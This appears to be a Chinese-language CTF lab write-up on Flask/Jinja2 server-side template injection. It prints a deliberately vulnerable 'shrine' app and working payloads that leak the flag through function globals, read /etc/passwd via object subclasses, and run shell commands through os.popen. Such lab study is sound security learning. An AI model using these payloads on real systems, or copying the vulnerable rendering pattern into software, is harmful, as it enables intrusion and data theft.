主要参考链接:https://blog.csdn.net/weixin_44604541/article/details/109048578
源码环境
import flask
import os
app = flask.Flask(__name__)
flag = "flag{test}"
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine_test(shrine):
def safe_jinja(s): # 过滤
# s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
# test = ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
# return flask.render_template_string('{{' + safe_jinja(shrine) + '}}' )
if __name__ == '__main__':
app.run(debug=True)
# localhost:5000
获取当前py文件中的信息
尝试获取flag变量的值,先通过如下payload获取当前py中的函数结构:
http://127.0.0.1:5000/shrine/{{url_for.__globals__.current_app.view_functions}}
# 返回
{'static': <bound method _PackageBoundObject.send_static_file of <Flask 'shrine'>>, 'index': <function index at 0x00000156E5AE6DC0>, 'shrine_test': <function shrine_test at 0x00000156E5AE6E50>}
进入shrine_test函数并获取其全局变量,payload如下:
http://127.0.0.1:5000/shrine/{{url_for.__globals__.current_app.view_functions.shrine_test.__globals__}}
即可获得包含flag在内的所有变量。
任意文件读取
payload如下:
http://127.0.0.1:5000/shrine/{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}
这里通过获取[]
列表数据类型的父类直至object
源类,再向下找file
类(subclasses),查到file
类在列表下标为40,取[40]
,进行读文件操作。
命令执行
payload如下:
http://127.0.0.1:5000/shrine/{{url_for.__globals__.os.popen('ls').read()}}
前面找os
类的方式相似,这里在当前环境下即存在os
类,即不需要进行父类子类递归查询,直接使用。
这里需要注意,实践中发现若使用system函数会返回退出状态码,需要用popen+read函数的方式以file的形式返回输出内容,从而读取命令执行回显的结果